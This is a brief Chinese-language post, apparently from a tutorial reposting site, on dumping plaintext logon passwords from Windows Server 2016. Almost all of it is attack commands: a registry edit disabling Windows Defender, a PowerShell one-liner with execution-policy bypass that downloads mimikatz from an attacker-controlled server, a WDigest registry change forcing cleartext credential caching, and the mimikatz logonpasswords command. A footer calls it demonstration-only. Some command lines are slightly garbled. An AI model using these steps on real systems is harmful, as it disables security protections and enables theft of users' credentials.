windows server2016WindowsServer2016抓取明⽂密码
临时禁⽌Windows Defender
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
gpupdate /force
下载mimikatz后解压缩。
< -NoP -NonI -Exec Bypass -Command "& {Import-Module BitsTransfer; Start-BitsTransfer '你的服务器/mimikatz_trunk.zip' "%APPDATA %\mimikatz_trunk.zip"}"
修改注册表开启UseLogonCredential
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
等⽤户下次再登录的时候，可抓到明⽂密码
< privilege::debug
sekurlsa::logonpasswords exit

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。